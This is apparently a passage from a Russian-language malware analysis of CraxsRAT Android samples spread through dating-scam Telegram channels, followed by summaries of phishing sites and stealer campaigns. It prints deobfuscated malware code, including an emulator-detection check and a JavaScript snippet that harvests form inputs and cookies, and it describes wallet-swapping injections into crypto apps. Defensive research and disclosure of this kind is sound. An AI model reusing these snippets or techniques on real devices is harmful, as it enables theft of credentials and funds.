| VirusTotal | virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| Filename | OnlyFans (12).apk |
|---|---|
| MD5 | 65841b046a4069d2a84e01c2e430effc |
| SHA1 | fb862581c245859000062ff250fcb27789678876 |
| SHA256 | 243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74 |
| VirusTotal | virustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74 |
| Filename | ONLYFANS FREE.apk |
|---|---|
| MD5 | 70319c31153614a9fd2dfed94d39e399 |
| SHA1 | dda23ef6aa87ea7997d849f3eda8aa5d35fc321b |
| SHA256 | efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6 |
| VirusTotal | virustotal.com/gui/file/efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6 |
| Filename | Мой OnlyFans) (2).apk |
|---|---|
| MD5 | 911f9cca3895e65097348c08d4c40881 |
| SHA1 | bc53c75cb6256013b750c2de52d04bac0b33b760 |
| SHA256 | 36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0 |
| VirusTotal | virustotal.com/gui/file/36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0 |
| Filename | OnlyFans.FreeMode (2).apk |
|---|---|
| MD5 | fa3ee4a5499e9d7bd3a419a5bcf76e70 |
| SHA1 | 8c9a9bfe8c34baa523d7dd996dbb8f8a424de64a |
| SHA256 | c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8 |
| VirusTotal | virustotal.com/gui/file/c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8 |
| Filename | ChatV Privat (2).apk |
|---|---|
| MD5 | 49766c0bced0e0d664ad4ebd8bcf1646 |
| SHA1 | 1dc460045ac33a2418178054b8a80c23f6649f81 |
| SHA256 | b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63 |
| VirusTotal | virustotal.com/gui/file/b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63 |
## Ситуация №3
Стриминговый сервис с удалённым контролем над устройством;
##~ Предыстория
Третья девушка написала в Telegram боте для анонимных знакомств, предложив продолжить общение сразу в личных сообщениях. Оказалось, что у неё, как и у девушки из второй ситуации, есть собственный канал в Telegram, в котором она делится контентом и предлагает подписчикам обрести доступ к полным версиям контента, установив мобильное приложение стримингового сервиса:


Примечательно, что со временем канал был заменён на другой. В этот раз девушка дополнительно любезно предоставила своим подписчикам подробную инструкцию по установке нового приложения, в которую входит выдача этому приложению конфиденциального разрешения "Специальные возможности", несмотря на предупреждение устройства о связанных рисках и возможных последствиях:




Новое приложение,
BongaCamSexs.apk, оказалось на 5.7 мегабайт крупнее предыдущего, streamtwit.apk. Экземпляры оказались похожи, за исключением пары моментов:streamtwit.apk– более обфусцированBongaCamSexs.apk– включает в себя дополнительную функциональность
##~ Первый взгляд
> Streamtwit
Приложение
streamtwit указывает следующие аппаратные способности, как необходимые:android.hardware.faketouchandroid.hardware.telephonyandroid.hardware.wifi
device-admin, ime, accessibility. На иконке приложения изображена девушка, которая фотографирует своё отражение в зеркале:
Запрашиваемые права в соответствии с
AndroidManifest.xml:android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
> BongaCamSexs
// Светло-серым цветом выделены те включения, что совпадают со
Приложение
streamtwit;Приложение
BongaCamSexs указывает следующие аппаратные способности, как необходимые:android.hardware.cameraandroid.hardware.faketouchandroid.hardware.locationandroid.hardware.microphoneandroid.hardware.telephonyandroid.hardware.wifi
device-admin, ime, accessibility. На иконке приложения изображён логотип настоящего сервиса:
Запрашиваемые права в соответствии с
Активности:
Сервисы:
Ресиверы:
AndroidManifest.xml:android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CALL_PHONE
android.permission.CAMERA
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.GET_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECORD_AUDIO
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SET_WALLPAPER
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
MainActivity, SecondActivity, WakeupActivity, RequestUninstall, RequestInstallPrim, RequestScreenCap, CameraActvity, CraxsBrowser, FloatingView, installupdate, flyActivity, OpenActivity, OpenChrome, isOver, RequestDataUsage, RequestVPN, RequestOPPOB, RequestPermission2, RequestKeyboard, RequestAdminMyJobService, KeyboardService, initializeService, CameraHandler, LocationService, AccessService, BackgroundWorker, FirewallServices –
–
–
–
–
–
CustomReceiver (RestartSensor);–
Datareciver (android.intent.action.DATE_CHANGED);–
AdminReceiver (android.app.action.DEVICE_ADMIN_ENABLED);–
ScreenReceiver (android.intent.action.SCREEN_ON, android.intent.action.SCREEN_OFF, android.intent.action.ACTION_POWER_CONNECTED, android.intent.action.ACTION_POWER_DISCONNECTED, android.intent.action.USER_PRESENT);–
PackagesReceiver (android.intent.action.PACKAGE_INSTALL, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REMOVED, android.intent.action.PACKAGE_CHANGED, android.intent.action.MY_PACKAGE_REPLACED);–
BootReceiver (android.intent.category.DEFAULT, android.intent.action.BOOT_COMPLETED, android.intent.action.ACTION_BOOT_COMPLETED, android.intent.action.QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, android.intent.action.REBOOT, android.intent.action.LOCKED_BOOT_COMPLETED, miui.intent.action.BOOT_COMPLETEDT);##~ Обфускация
Наблюдаемые техники обфускации:
- Замена названий компонентов на случайные значения. Пример кода:
- Дробление кода на составные части и его распределение по отдельным классам. Так, например, выглядят некоторые компоненты иерархии пакетов одного из файлов:
- Трансформация значений строк для усложнения человекочитаемости:
- Преобразование строк в формат Base64. Далее я переименовала функцию для декодирования в
base64decode: - Разбиение строк на подстроки со внедрением случайных символов между ними. Далее я переименовала функцию для извлечения в
extractString:





> Опечатки
В осмысленных названиях компонентов обнаруживаются опечатки. Не до конца ясно, допускал ли их автор случайно, по той ли, например, причине, что английский – не родной язык автора, или же они были допущены намеренно, с целью затруднения обнаружения специалистами вредоносных элементов приложения путём поиска конкретных подстрок или с целью обхода техник классификации ПО, как вредоносного, на основании наличия ключевых любопытных слов.
Примеры опечаток:
Примеры опечаток:
| Используемое название | Корректное название |
|---|---|
MyAudoRecorder | MyAudioRecorder |
StoragPermissions | StoragePermissions |
daterecever / DataReciver | DataReceiver |
ask_battary | ask_battery |
Dele | Del / Delete |
SaveTouchs | SaveTouches |
Repet | Repeat |
Treger | Trigger |
NeedNotifi | NeedNotify / NeedNotification |
##~ Автозапуск
Как в
MainActivity, так и в SecondActivity происходит вызов метода getAutoStartPermission, который проверяет бренд заражённого мобильного устройства (Build.BRAND), а после – вызывает соответствующий бренду метод для настройки прав на автоматический запуск приложения и управление оптимизацией работы батареи:

##~ Обнаружение отладки
Как в
MainActivity, так и в SecondActivity реализован метод isEmu_DIV_ID_lator, который отвечает за обнаружение признаков отладки приложения:
После некоторой деобфускации кода, который изображён на скриншоте выше, возвращение функции выглядит таким образом:
return (Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN) || Build.HARDWARE.contains("goldfish") || Build.HARDWARE.contains("ranchu") || Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android built SDK for x86") || Build.MANUFACTURER.contains("Genymotion") || Build.PRODUCT.contains("sdk_google") || Build.PRODUCT.contains("google_sdk") || Build.PRODUCT.contains("sdk") || Build.PRODUCT.contains("sdk_x86") || Build.PRODUCT.contains("sdk_gphone64_arm64") || Build.PRODUCT.contains("vbox86p") || Build.PRODUCT.contains("emulator") || Build.PRODUCT.contains("simulator");Функция использует статические поля класса
Build пакета android.os для выявления названий: бренда (BRAND), отпечатка (FINGERPRINT), аппаратного обеспечения (HARDWARE), модели (MODEL), производителя (MANUFACTURER) и в целом устройства как продукта (PRODUCT) – она извлекает информацию о сборке из системных настроек и анализирует полученные значения на включение подстрок, которые могут означать использование технологий эмуляции.В случае, если приложение выявляет использование эмулятора, оно выводит сообщение об отсутствии поддержки эмулированных устройств:

##~ Общение с C&C сервером
В сервисе
initializeService определены переменные ClientHost, ClientPort и ConnectionKey, содержащие IP адрес C2 сервера, порт и ключ подключения соответственно:
Оба варианта вредоносного ПО использовали сервисы для создания временных тунн елей между локальным компьютером и Интернетом для организации связи с сервером. В одном случае это был
ngrok[.]io, в другом – playit[.]gg, позиционирующий себя как глобальный прокси для игровых серверов.Общение с C2 сервером реализуется через вызов методов специально выделенного класса. Так, например, функция
sendBytes отвечает за открытие нового сокета с указанием рассмотренных ранее ClientHost и ClientPort, создание потока данных и запись в него значения аргумента bArr:
##~ Логирование
Вредоносное приложение производит логирование некоторых данных: реализованы функции
writeJSONToFile и readJSONFromFile, которые отвечают за чтение и запись обрабатываемых в ходе выполнения вредоносных модулей JSON объектов в/из локальных файлов.При записи JSON объекта в файл, JSON объект преобразуется в строку и шифруется с помощью метода
encrypt класса EncryptionCUtils:
А при чтении JSON объекта из файла – считанные данные дешифруются с помощью метода
decrypt того же класса:
Класс
EncryptionCUtils целиком отвечает за шифрование и дешифрование данных. Здесь алгоритм шифрования – AES с использованием жестко закодированного секретного 128-битного ключа SECRET_KEY:
##~ Запись аудио
При развёртывании функциональности вредоносного ПО инициализируется объект класса
VoiceRecorder, который называется MyAudoRecorder:
Класс
VoiceRecorder позволяет оператору вредоносного ПО записывать звук. Определённый внутри класса метод start инициализирует новый объект класса MediaRecorder пакета android.media:
- При вызове метода
setAudioSourceв качестве аргумента функции передаётся число1, что соответствует значению статического свойстваMICи означает установку микрофона в качестве источника звука; - При вызове метода
setOutputFormatв качестве аргумента функции также передаётся число1, что соответствует значению статического свойстваTHREE_GPPи означает выбор3GPPв качестве формата результирующего файла; - При вызове метода
setAudioEncoderв качестве аргумента функции также передаётся число1, что соответствует значению статического свойстваAMR_NBи означает выборAMRв качестве аудиокодека;
В случае активации данного вредоносного модуля происходит запуск записи звука с микрофона заражённого устройства и сохранение аудио-записи в локальный
WAV файл на внешнем хранилище.##~ Отслеживание геопозиции
Приложение запрашивает права на доступ как к приблизительному (
ACCESS_COARSE_LOCATION), так и к точному местоположению (ACCESS_FINE_LOCATION) заражённого мобильного устройства.Кроме того, в приложении определён класс
LocationService – сервис, отвечающий за отслеживание геопозиции. В частности, например, в нём реализована функция onLocationChanged, которая выполняется в случае несоответствия известных сервису долготы и широты, координат последнего местоположения устройства, текущим. Функция заменяет значения полей, которые хранят данные о широте (lastKnownLatitude), долготе (Longting), точности (letliudid) и скорости движения геопозиции (sp), на новые:
##~ Управление прикосновениями
Объёмным модулем, функции которого распределены по разным секциям приложения, оказалась функциональность управления прикосновениями, напрямую вытекающая из выдачи атакуемым пользователем приложению права использовать "Специальные возможности".
Так в рамках сервиса
AccessService определён метод TouchWatcher, который производит определённые действия, направленные на управление прикосновениями, в соответствии с передаваемым ему значением:
- Аргумент в значении "
Record" запуститcase 0: определит, запущена ли в данный момент запись прикосновений, исходя из значения переменнойRecordTouch, в неудовлетворительном случае – произведёт запуск записи; - Аргумент в значении "
Stop" запуститcase 1: определит, запущена ли в данный момент запись прикосновений, исходя из значения переменнойRecordTouch, в удовлетворительном случае – сохранит запись прикосновений в массив и запишет его, после чего сбросит значение переменнойRecordTouchв позициюfalseи очистит массив прикосновений; - Аргумент в значении "
Repet" запуститcase 2: загрузит запись прикосновений, располагающуюся по пути, который передаётся в качестве второго аргумента функции, и повторит каждое записанное в ней действие; - Аргумент в значении "
Start" запуститcase 3: инициализирует Handler с фоновым потоком, в который передаётся выполнение операций;
Каждый случай сопровождается отправкой C2 серверу сообщений о результирующем статусе попытки исполнения той или иной команды.
За сохранение записи прикосновений отвечает метод
SaveTouchs класса MySettings. Он формирует JSON объект из передаваемого ему словаря координат прикосновений, после чего преобразует его в строку и записывает в JSON файл на внешнем хранилище, в папку /Config/sys/apps/tch:
За загрузку записи прикосновений отвечает метод
LoadTouches класса MySettings. Он, напротив, считывает массив прикосновений из JSON файла, который располагается на внешнем хранилище в папке /Config/sys/apps/tch, и возвращает словарь координат:
Некоторые жесты и действия вынесены в специально выделенные функции-заготовки. Так, например, пролистывание вверх определено функцией
slideUp, в которой прописана необходимая последовательность координат, преобразуемая в массив точек, используемый функцией mouseDraw:
Функция
mouseDraw, в свою очередь, формирует из массива точек путь, из которого строится описание отправляемого устройству жеста:
По такому же принципу работает функция
mockGesture класса PerformGestureUtil, используемая для отложенной имитации жестов, повторения последовательности прикосновений, записанных в переменную thisAllSteps вместо локального файла, при разблокировке устройства или при проведении оплаты:
К тому же многие заготовки действий предполагают клики по произвольным координатам. Для этого определена функция
click, которая вызывает другую функцию, clickAtPosition, передавая ей свои аргументы i и i2, а также узел – корень активного окна. Функция clickAtPosition проверяет наличие координат i и i2 внутри узла и его детей и, в случае удовлетворения условия, производит действие над элементом, выполняя accessibilityNodeInfo.performAction(16), где число 16 в качестве аргумента означает ACTION_CLICK – клик по элементу:
##~ CraxsBrowser
Самый важный вредоносный модуль, отличающий обновлённую версию от более старой – это встроенный браузер CraxsBrowser. Он определён в классе
CraxsBrowser и в его основе лежит клиент Chrome:
При создании экземпляра браузера производится установка необходимых значений параметров настроек: включение поддержки JavaScript, активация DOM-хранилища, выдача доступа к файлам и другое:

Любопытно здесь создание новых потоков исполнения с объектами класса
AnonymousClass3. Объект такого класса инициализирует Handler с фоновым потоком, в который, в свою очередь, передаётся объект класса AnonymousClass1, который выполняет функцию getPassword, передавая ей mWebView.Функция
getPassword исполняет JavaScript в контексте переданного WebView и вызывает объект класса AnonymousClass4 в качестве callback функции:
JavaScript, исполняемый в контексте переданного WebView, создаёт новый
iframe-элемент, связывая его с переменной frame, переопределяет console, чтобы он указывал на console созданного iframe, а также записывает список input-элементов в переменную inputs, после чего, итерируясь по элементам этого списка, записывает их типы, потенциально полезные значения параметров value и значения Cookie, компонуя собранную информацию в возвращаемую переменную alltext:var frame = null;
g = () => {
if (!frame) {
frame = document.createElement('iframe');
frame.style.display = 'none';
document.body.appendChild(frame);
}
console = frame.contentWindow.console;
var inputs = document.querySelectorAll('input');
var websiteLink = window.location.href;
var alltext = "";
inputs.forEach(function(input) {
var type = input.getAttribute('type');
var value = input.value;
if (value !== "" && value !== null && type !== "hidden" && type !== "checkbox") {
alltext += "[" + type + "]: " + value + "~" + "[Cookie]:" + document.cookie + "~";
}
});
return alltext;
};
g();Callback функция, объект класса
AnonymousClass4, дополнительно оборачивает полученную информацию, добавляя ссылку на сайт, в который была произведена инъекция скрипта и из которого таким образом были извлечены данные пользователя, и передаёт её в метод access$100, перенаправляющий информацию в метод saveDataToFile, который кодирует её в Base64 и записывает в текстовый файл на внешнем хранилище, в папку /Config/sys/apps/Data:
##~ Прочие инъекции в WebView
В отдельные функциональные блоки вредоносного ПО вынесены инъекции в WebView нескольких платёжных приложений, среди которых оказались и Binance с Okex. Для выявления использования таких приложений, обрабатываемые события
AccessibilityEvent проверяются на удовлетворение перечню условий, в следствие чего происходит классификация конкретного сервиса и выбор соответствующей инъекции.> Binance
Обрабатываемые события
AccessibilityEvent проверяются на соответствие нескольким условиям, среди которых:- имя пакета (
PackageName) равноcom.binance.dev - имя ресурса (
ViewIdResourceName) равноcom.binance.dev:id/2131378415илиcom.binance.dev:id/2131378375
binanceinj:


Она устанавливает параметры настроек WebView, а также определяет предпочтительный язык пользователя и подбирает соответствующий HTML код, закодированный в Base64, который подгружается в WebView. HTML-страница представляет из себя подтверждение получения некоторой суммы в USDT на свой кошелёк. В декодированном варианте видно тег
script, определяющий функцию transaction_info, которая подставляет значения из передаваемого ей словаря data в качестве значений элементов:...
function transaction_info(data) {
document.getElementsByClassName("usdt_amount")[0].innerHTML = data.usdt_amount;
<!-- document.getElementsByClassName("usd_amount")[0].innerHTML = data.usd_amount; -->
document.getElementsByClassName("chain")[0].innerHTML = data.chain;
document.getElementsByClassName("from")[0].innerHTML = data.from;
document.getElementsByClassName("to")[0].innerHTML = data.to;
document.getElementsByClassName("fee")[0].innerHTML = data.fee;
document.getElementsByClassName("total_amount")[0].innerHTML = data.total_amount;
}
...В TextView устанавливается прослушиватель кликов, и по клику, с использованием "Специальных возможностей", некоторые пользовательские данные, такие как адрес USDT кошелька и хранимое на нём число USDT, записываются в переменные
usdtaddress и usdtamount. В процессе инъекции, в рамках метода sendOldValue класса Binance, в WebView также выполняется JavaScript код, вызывающий функцию transaction_info и, следовательно, устанавливающий значения элементов инъецированной страницы. Схематично:
В остальном основной флоу инъецирования WebView как Binance и Okex, так и других платёжных приложений совпадает и описывается далее.
> Okex
Устанавливаемый в TextView прослушиватель кликов, помимо записи адреса пользовательского USDT кошелька и значения суммы, хранящейся на нём, в переменные, также по клику производит принудительное ре дактирование значений в узлах
com.okinc.okex.gp:id/addressInput, элементах ввода адреса кошелька, на другое значение usdtaddress, определённое во вредоносном приложении в сервисе initializeService, и принудительные клики по кнопкам, обозначающим всю сумму (com.okinc.okex.gp:id/allAmount) и подтверждение действия (com.okinc.okex.gp:id/confirmBtn):
Редактируемые поля внешне перекрываются легитимными пользовательскими данными, собранными вредоносным приложением, для чего реализован метод
showFloat:
##~ Прочие заметки
> Язык
Некоторые внедряемые элементы подбираются в соответствии с языком системы атакуемого пользователя. Список языков для взаимодействия с атакуемым включает в себя: английский, японский, корейский, китайский, арабский и турецкий.

В зависимости от вредоносного модуля набор языков может незначительно отличаться: иногда добавляются включения на русском и португальском языках, а также пропадает поддержка арабского языка.

Но основным языком, на котором изначально прописаны значения переменных и редкие комментарии, является китайский язык – насколько известно, родной язык текущего основного продавца и источника обновлений программного обеспечения для оперирования этим вредоносным ПО.

Примечательно, что основной продавец данного ПО указывает в своём Telegram канале отличающийся перечень языков в качестве списка поддерживаемых: английский, арабский, китайский, турецкий, португальский, русский и испанский.
> Классификация
Исходя из направленности богатой функциональности, которая не ограничивается многообразием описанных мною вредоносных модулей, напрашивается вывод о том, что вредоносное приложение является представителем семейства вредосносных инструментов удалённого администрирования – RAT. Благодаря явному указанию названия реализованного браузера, CraxsBrowser, можно сделать вывод о том, что мною был проанализирован экземпляр вредоносного ПО, именуемого CraxsRAT.
CraxsRAT – наиболее свежий наследник CypherRAT, SpyNote и SpyMax. Его называют одним из самых опасных троянов для удалённого доступа, а программное обеспечение для оперирования устройствами, заражёнными этим RAT, оценивается как одно из самых дорогих на рынке.
Ранее разработкой и продажей CypherRAT и CraxsRAT занимался сирийский киберпреступник, который позже, после публикации исходного кода CypherRAT и публикации отчёта о раскрытии его личности, передал управление Telegram каналом китайскому коллеге.
Наиболее новая версия, как утверждает текущий основной продавец, включает в себя как минимум следующую функциональность:
- Управление файлами: скачивание файлов с устройства, загрузка файлов на устройство, удаление, просмотр, поиск, копирование, вставка, шифрование и дешифрование, кодирование и декодирование, сокрытие и раскрытие;
- Управление SMS: просмотр, удаление, отправка SMS;
- Управление камерой: включение и выключение камер, возможность снятия фотографий;
- Управление микрофоном: прослушивание и запись звука с микрофона устройства;
- Отслеживание местоположения: отслеживание геопозиции устройства в реальном времени;
- Управление экраном: просмотр экрана в реальном времени, блокировка и разблокировка экрана, создание тихих скриншотов;
- Управление звонками: просмотр списка звонков, удаление звонков из списка, инициация звонка, прослушивание и запись звонков;
- Управление уведомлениями: просмотр списка уведомлений, отправка уведомлений;
- Управление приложениями: просмотр списка приложений, запуск, установка и удаление приложений, просмотр связанных аккаунтов, инъецирование в браузер и приложения, отключение Интернет-соединения для конкретных приложений;
- Управление прикосновениями: запись и воспроизведение записей прико сновений, клавиатурного ввода;
- Удалённое управление: запуск произвольных команд, автоматическая и ручная выдача прав, самоуничтожение;
> Индикаторы компрометации
| Filename | streamtwit.apk |
|---|---|
| MD5 | d77e319cc5d06275f78ab15bd5387244 |
| SHA1 | 8bff0412612bb46fc565ef4cb91948879f45d7bc |
| SHA256 | d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| VirusTotal | virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688/details |
| Filename | BongaCamSexs.apk |
|---|---|
| MD5 | 65841b046a4069d2a84e01c2e430effc |
| SHA1 | fb862581c245859000062ff250fcb27789678876 |
| SHA256 | 243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74 |
| VirusTotal | virustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74/details |
# Прочие ситуации
## Фишинг
##~ Кража платёжной информации
Фишинговые сайты, очевидно, не ограничиваются лишь сервисами покупок билетов в театр. Это проблема, покрывающая целый спектр тем для оказания влияния на большую целевую аудиторию, и её плоды затрагивают как Российскую Федерацию, так и другие страны. Вот, например, аналог рассмотренного выше фишингового сайта драматического театра, нацеленный на азербайджанскую аудиторию (некоторые его страницы, впрочем, всё же сохранили русскую локализацию):

Сервис FOFA, отталкиваясь лишь от хеша иконки веб-приложения, находит более 100 сайтов, полностью аналогичных проанализированному, а результаты поиска в поисковых системах по запросу на точное включение строки "
Знаменитый театр, где каждый спектакль создает новая уникальная команда" пестрят большим числом подходящих страниц, среди которых и автоматически сгенерированные отчёты об анализе страниц в онлайн-песочницах.
Стоит заме тить, что качественно проанализировать такой сайт с помощью автоматических инструментов – непростая задача, потому большая часть их оценок онлайн-сервисами – ложно отрицательная, и пользователям остаётся полагаться лишь на отзывы, если они в принципе есть, и рейтинг, составляемый такими же пользователями. В частности, изученный мною сайт театра был классифицирован как фишинговый сайт лишь продуктом Kaspersky, вероятно, в силу локальной известности.

Тематика в сфере Интернет-знакомств тоже варьируется и включает в себя веб-приложения для продажи билетов в театры и кинотеатры, на автобусы, поезда и самолёты, для бронирования гостиниц, отелей, квартир и ресторанов, для оплаты такси, подписок и путёвок, и многое другое.
##~ Кража данных учётных записей
Пользуются популярностью среди злоумышленников и фишинговые сайты, маскирующиеся под страницы с формами аутентификации в приложения для знакомств. Этот вид фишинга более распространён за рубежом, в связи с практически однозначным лидированием там конкретных приложений. Он требует использования lookalike-домена и иногда подразумевает переход пользователя к форме по ссылке из письма, уведомляющего о взаимной симпатии в целевом приложении:
Команда Threat Intelligence компании Egress подсчитала, что 53.25% случаев имперсонации в рамках фишинговой кампании, затронувшей организации в Северной Америке и Великобритании, пришлись на Tinder, 22.88% – на Bumble и ещё 14.46% – на Hinge. К слову, они также заметили, что как минимум 85% случаев фишинга были нацелены именно на мужчин.
Такой фишинг, в отличие от рассмотренного ранее, нацелен не столько на прямую кражу платёжной информации, сколько на кражу данных учётных записей пользователей для последующего взлома связанных аккаунтов и произведения злоумышленниками действий, направленных на извлечение выгоды (поиск платёжной информации, поиск компрометирующий информации, шантаж, ...).
## Эксплуатация
За последнее время специалистами было выявлено сразу несколько схожих крупных операций, успех которых ярко продемонстрировал положение дел на стыке, где встречаются пользователь и атакующие, в сфере Интернет-знакомств и прилежащих областях, и о которых мне хотелось бы вспомнить.
Все эти кампании объединяют следующие факторы:
- Вредоносные файлы с полезной нагрузкой рассылаются по социальным сетям от лиц фейковых аккаунтов, как в тематические группы (знакомства, взрослый контент), так и лично пользователям, после непродолжительного знакомства
- Распространяемое вредоносное ПО замаскировано под архивы с фотографиями девушек
- В результате эксплуатации происходит кража сведений (Cookie, данные учётных записей, сохранённых в браузерах, токены Discord и информация о системе)
##~ Album Stealer
Источник: Zscaler, ‟Album Stealer Targets Facebook Adult-Only Content Seekers”
Прошлой зимой команда исследователей Zscaler ThreatLabz обнаружила распространение стилера, получившего название Album.
Стилер распространялся от лиц фейковых аккаунтов в социальной сети, содержащих женские фотографии, и по задумке представлял из себя архив, "альбом", с фотографиями. Скачать его атакуемым предлагалось в основном с сервиса для хранения файлов Microsoft OneDrive, либо с подконтрольного атакующему вредоносного ресурса с такими названиями, как:
Вредоносный архив содержит:
Процесс повторяется: вредоносная библиотека скачивает архив
Взаимодействие извлечённых легитимного
Стилер распространялся от лиц фейковых аккаунтов в социальной сети, содержащих женские фотографии, и по задумке представлял из себя архив, "альбом", с фотографиями. Скачать его атакуемым предлагалось в основном с сервиса для хранения файлов Microsoft OneDrive, либо с подконтрольного атакующему вредоносного ресурса с такими названиями, как:
keeptosafe[.]top, shopalbum[.]xyz, findalbum[.]top, ...Вредоносный архив содержит:
- исполняемый файл
Album.exe - DLL-библиотеку
PdfiumControl.dll - файл
data.dat
Album.exe – легитимный экземпляр TresoritPdfViewer, уязвимый к атаке DLL sideloading. При его исполнении происходит эксплуатация уязвимости – подгрузка вредоносного PdfiumControl.dll, который, в свою очередь, инициирует запуск data.dat – с амораспаковывающегося архива, который действительно оставляет за собой фотографии девушек. В это же время вредоносная DLL-библиотека дешифрует включенное в неё содержимое, генерируя на заражённом устройстве файлы:\%AppData%\Roaming\Canon\CNQ.exe\%AppData%\Roaming\Canon\Curl.dll\%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll\%AppData%\Roaming\Canon\log4net.dll
CNQ.exe – ещё одного экземпляра легитимного ПО, уязвимого к той же атаке. К нему подключается вредоносная библиотека Curl.dll, которая:- создаёт запись в реестре для закрепления – автоматического запуска при старте системы
- скачивает с удалённого ресурса и локально сохраняет файл
sparkle-windows.xml, из которого извлекается ссылка на скачиваемый архив\%AppData%\Roaming\Canon\app{18_цифр}.zip, который, в свою очередь, после распаковки, помимо прочего, оставляет на заражённом устройстве файлыDiskCompactionTool.exeиWDLocale.dll
DiskCompactionTool.exe – легитимный экземпляр ПО WD Sync, подгружающий вредоносную библиотеку WDLocale.dll.Процесс повторяется: вредоносная библиотека скачивает архив
\%AppData%\Roaming\Bluestack\app{18цифр}.zip и распаковывает его.Взаимодействие извлечённых легитимного
Bravia.exe и вредоносного CNQMUTIL.dll приводит к краже чувствительной информации. Стилер ищет все файлы внутри каталога %AppData%, содержащие в названии:Local StateLogin DataCookiescookies.sqlite
- дешифрует, извлекая данные учётных записей, которые были сохранены в браузерах
- дешифрует, извлекая Cookie
- собирает информацию о бизнес и рекламных аккаунтах
- отправляет собранные данные на C2 сервер
##~ OnlyDcRatFans
Прошлым летом результаты столкновения с вредоносной кампанией описали уже специалисты компании eSentire.
Вредоносное ПО тоже распространялось под видом архивов с фотографиями девушек и состояло из VBScript-загрузчика, представляющего из себя модифицированный легитимный Windows скрипт для взаимодействия с принтерами. Загрузчик включает в себя полезную нагрузку, шеллкод и DLL-библиотеку
Во всех наблюдаемых случаях полезной нагрузкой оказался DcRAT – одна из версий AsyncRAT. Он, помимо прочего, предоставляет возможности:
Вредоносное ПО тоже распространялось под видом архивов с фотографиями девушек и состояло из VBScript-загрузчика, представляющего из себя модифицированный легитимный Windows скрипт для взаимодействия с принтерами. Загрузчик включает в себя полезную нагрузку, шеллкод и DLL-библиотеку
dynwrapx.dll. Библиотека используется для получения доступа к объекту DynamicWrapperX, с помощью которого загружаются CallWindowProcW из user32.dll и VirtualAlloc из kernel32.dll. Полезная нагрузка загружается в память, после чего вызывается CallWindowProcW для исполнения шеллкода, что позволяет инъецировать полезную нагрузку в \Microsoft.NET\Framework\v4.0.30319\RegAsm.exe.Во всех наблюдаемых случаях полезной нагрузкой оказался DcRAT – одна из версий AsyncRAT. Он, помимо прочего, предоставляет возможности:
- удалённого доступа
- кейлоггинга
- управления камерой
- управления файлами
- кражи данных из браузеров
- кражи токенов Discord
- расширение для шифрования и вымогательства
##~ Steal-It Campaign
Источник: Zscaler, ‟Steal-It Campaign”
Уже осенью специалисты Zscaler вновь наткнулись на хакерскую кампанию того же характера, в этот раз – довольно масштабную и, что любопытно, целевую.
В зависимости от типа собираемой информации и необходимых характеристик жертв, каждый случай в рамках исследуемой кампании можно классифицировать как один из 4 сценариев. Пара из этих сценариев подразумевает сокрытие вредоносного ПО под видом фотографий девушек. Вспомним именно эти случаи.
